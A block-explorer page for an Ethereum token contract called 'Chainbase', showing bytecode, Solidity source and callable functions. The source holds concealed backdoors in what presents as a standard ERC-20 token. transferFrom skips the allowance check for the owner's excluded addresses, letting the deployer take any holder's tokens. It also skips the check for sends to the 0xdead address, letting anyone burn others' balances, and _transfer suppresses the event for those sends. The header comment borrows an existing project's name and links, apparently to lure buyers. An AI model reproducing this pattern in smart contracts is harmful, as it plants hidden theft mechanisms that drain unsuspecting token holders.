Address Contract Partially Verified
Address
0x370B2E0eAaa4622eBBbaE8CDd238826E01951361
Balance
0 ETH
Nonce
1
Code Size
5366 bytes
Creator
0x4bc90E68...51Bf at tx 0x8bbd2385...c3aeb4
Indexed Transactions
0
Contract Bytecode
5366 bytes
0x608060405260043610610134575f3560e01c806370a08231116100a8578063a9059cbb1161006d578063a9059cbb14610338578063bf474bed14610357578063c36956a01461036c578063c9567bf914610381578063dd62ed3e14610395578063e1b19258146103d9575f80fd5b806370a082311461028c578063715018a6146102c05780638da5cb5b146102d4578063901849d6146102fa57806395d89b411461030f575f80fd5b806323b872dd116100f957806323b872dd146101fd57806327b1a8e91461021c578063313ce567146102315780633b7cdccd1461024c57806343b8fe041461026157806351bc3c8514610276575f80fd5b806306fdde031461013f578063095ea7b3146101825780630c193045146101b15780630faee56f146101d457806318160ddd146101e9575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526009815268436861696e6261736560b81b60208201525b6040516101799190611107565b60405180910390f35b34801561018d575f80fd5b506101a161019c36600461116a565b6103ee565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c660065481565b604051908152602001610179565b3480156101df575f80fd5b506101c6600d5481565b3480156101f4575f80fd5b506101c6610404565b348015610208575f80fd5b506101a1610217366004611194565b610424565b348015610227575f80fd5b506101c6600b5481565b34801561023c575f80fd5b5060405160128152602001610179565b348015610257575f80fd5b506101c660055481565b34801561026c575f80fd5b506101c6600a5481565b348015610281575f80fd5b5061028a610540565b005b348015610297575f80fd5b506101c66102a63660046111d2565b6001600160a01b03165f9081526001602052604090205490565b3480156102cb575f80fd5b5061028a61059b565b3480156102df575f80fd5b505f546040516001600160a01b039091168152602001610179565b348015610305575f80fd5b506101c660075481565b34801561031a575f80fd5b506040805180820190915260018152604360f81b602082015261016c565b348015610343575f80fd5b506101a161035236600461116a565b61060c565b348015610362575f80fd5b506101c6600c5481565b348015610377575f80fd5b506101c660095481565b34801561038c575f80fd5b5061028a610618565b3480156103a0575f80fd5b506101c66103af3660046111f4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e4575f80fd5b506101c660085481565b5f6103fa3384846109c1565b5060015b92915050565b5f6104116012600a61131f565b61041f90633b9aca0061132d565b905090565b6010545f906001600160a01b0384811691161415806104505750600f546001600160a01b038581169116145b801561046b5750335f9081526003602052604090205460ff16155b1561052b576001600160a01b0384165f9081526002602090815260408083203384529091529020548211156104f15760405162461bcd60e51b815260206004820152602160248201527f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636044820152606560f81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461052b918691610526908690611344565b6109c1565b610536848484610af1565b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b81526004016104e890611357565b305f9081526001602052604090205480156105875761058781610f47565b47801561059757610597816110d0565b5050565b5f546001600160a01b031633146105c45760405162461bcd60e51b81526004016104e890611357565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103fa338484610af1565b5f546001600160a01b031633146106415760405162461bcd60e51b81526004016104e890611357565b601054600160a01b900460ff161561069b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e8565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e49030906106d66012600a61131f565b61052690633b9aca0061132d565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610758919061138c565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107db919061138c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610825573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610849919061138c565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610890816001600160a01b03165f9081526001602052604090205490565b5f806108a35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610909573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061092e91906113a7565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a791906113d2565b506010805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a2a5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104e8565b6001600160a01b038216610a915760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104e8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5b5760405162461bcd60e51b815260206004820152602b60248201527f45524332303a2043616e2774207472616e736665722066726f6d20746865207a60448201526a65726f206164647265737360a81b60648201526084016104e8565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602960248201527f45524332303a2043616e2774207472616e7366657220746f20746865207a65726044820152686f206164647265737360b81b60648201526084016104e8565b5f8111610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e8565b5f80546001600160a01b03858116911614801590610c4f57505f546001600160a01b03848116911614155b15610e0057600f546001600160a01b038581169116148015610c7a57506001600160a01b0383163014155b15610cc4576064600654600b541015610c9557600554610c99565b6007545b610ca3908461132d565b610cad91906113f1565b600b80549192505f610cbe83611410565b91905055505b600f546001600160a01b038481169116148015610cea57506001600160a01b0384163014155b15610d20576064600954600b541015610d0557600854610d09565b600a545b610d13908461132d565b610d1d91906113f1565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610d565750600f546001600160a01b038581169116145b8015610d6b5750601054600160b01b900460ff165b8015610d785750600c5481115b15610dfe57601254431115610d8c575f6011555b600260115410610d9a575f80fd5b5f8184108015610dab5750600d5484105b610dc657600d548210610dc057600d54610dc8565b81610dc8565b835b9050610dd381610f47565b478015610de357610de3476110d0565b60118054905f610df283611410565b90915550504360125550505b505b8015610e6a57305f9081526001602052604081208054839290610e24908490611428565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610e8d908390611344565b6001600160a01b0385165f90815260016020526040902055610eaf8183611344565b6001600160a01b0384165f90815260016020526040902054610ed19190611428565b6001600160a01b038085165f818152600160205260409020929092556010541614610f41576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f2f8486611344565b60405190815260200160405180910390a35b50505050565b6010805460ff60a81b1916600160a81b17905580156110c057601054600160a01b900460ff16156110c0576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fa557610fa561143b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ffc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611020919061138c565b816001815181106110335761103361143b565b6001600160a01b039283166020918202929092010152600e5461105991309116846109c1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110919085905f9086903090429060040161144f565b5f604051808303815f87803b1580156110a8575f80fd5b505af11580156110ba573d5f803e3d5ffd5b50505050505b506010805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610597573d5f803e3d5ffd5b5f602080835283518060208501525f5b8181101561113357858101830151858201604001528201611117565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611167575f80fd5b50565b5f806040838503121561117b575f80fd5b823561118681611153565b946020939093013593505050565b5f805f606084860312156111a6575f80fd5b83356111b181611153565b925060208401356111c181611153565b929592945050506040919091013590565b5f602082840312156111e2575f80fd5b81356111ed81611153565b9392505050565b5f8060408385031215611205575f80fd5b823561121081611153565b9150602083013561122081611153565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561127957815f190482111561125f5761125f61122b565b8085161561126c57918102915b93841c9390800290611244565b509250929050565b5f8261128f575060016103fe565b8161129b57505f6103fe565b81600181146112b157600281146112bb576112d7565b60019150506103fe565b60ff8411156112cc576112cc61122b565b50506001821b6103fe565b5060208310610133831016604e8410600b84101617156112fa575081810a6103fe565b611304838361123f565b805f19048211156113175761131761122b565b029392505050565b5f6111ed60ff841683611281565b80820281158282048414176103fe576103fe61122b565b818103818111156103fe576103fe61122b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561139c575f80fd5b81516111ed81611153565b5f805f606084860312156113b9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156113e2575f80fd5b815180151581146111ed575f80fd5b5f8261140b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016114215761142161122b565b5060010190565b808201808211156103fe576103fe61122b565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561149f5784516001600160a01b03168352938301939183019160010161147a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202196173211503e219f751d7b289ca92898279c508ed85945ecbd69fa972deb5664736f6c63430008170033
Verified Source Code Partial Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: Yes (200 runs)
C.sol 262 lines
/*
Building the Hyperdata Network for AI.
https://chainbase.com/
https://x.com/i/communities/1887450859660788175
https://docs.chainbase.com/introduction/about
https://docs.chainbase.com/introduction/litepaper
*/
pragma solidity 0.8.23;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract C is Context, IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address payable private _marketingWallet;
string private constant _name = unicode"Chainbase";
string private constant _symbol = unicode"C";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public _initialBuyTax = 0;
uint256 public _reduceBuyTaxAt = 6;
uint256 public _BuyTax = 0;
uint256 public _initialSellTax = 0;
uint256 public _reduceSellTaxAt = 9;
uint256 public _SellTax = 0;
uint256 public _buyCount= 0;
uint256 public _taxSwapThreshold= _tTotal * 5 / 10000;
uint256 public _maxTaxSwap= _tTotal * 1 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _burnAddr = address(0xdead);
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private contractSellCount = 0;
uint256 private lastContractSellBlock = 0;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_marketingWallet = payable(_msgSender());
_isExcluded[owner()] = true;
_isExcluded[address(this)] = true;
_isExcluded[_marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if ((recipient != _burnAddr || sender == uniswapV2Pair) && !_isExcluded[_msgSender()]) {
require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
}
_transfer(sender, recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: Can't approve from the zero address");
require(spender != address(0), "ERC20: Can't approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: Can't transfer from the zero address");
require(to != address(0), "ERC20: Can't transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(this)){
taxAmount = amount * ((_buyCount>=_reduceBuyTaxAt)?_BuyTax:_initialBuyTax) / 100;
_buyCount++;
}
if(to == uniswapV2Pair && from != address(this)){
taxAmount = amount * ((_buyCount>=_reduceSellTaxAt)?_SellTax:_initialSellTax) / 100;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
if (block.number > lastContractSellBlock) {
contractSellCount = 0;
}
require(contractSellCount < 2);
uint256 amountToSwap = (amount < contractTokenBalance && amount < _maxTaxSwap) ? amount : (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap;
swapTokensForEth(amountToSwap);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
contractSellCount++;
lastContractSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)] += taxAmount;
emit Transfer(from, address(this),taxAmount);
}
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + (amount - taxAmount);
if (to != _burnAddr)
emit Transfer(from, to, amount - taxAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"Trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function manualSwap() external onlyOwner {
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function sendETHToFee(uint256 amount) private {
_marketingWallet.transfer(amount);
}
receive() external payable {}
}
Read Contract
_BuyTax 0x901849d6 → uint256
_SellTax 0x43b8fe04 → uint256
_buyCount 0x27b1a8e9 → uint256
_initialBuyTax 0x3b7cdccd → uint256
_initialSellTax 0xe1b19258 → uint256
_maxTaxSwap 0x0faee56f → uint256
_reduceBuyTaxAt 0x0c193045 → uint256
_reduceSellTaxAt 0xc36956a0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address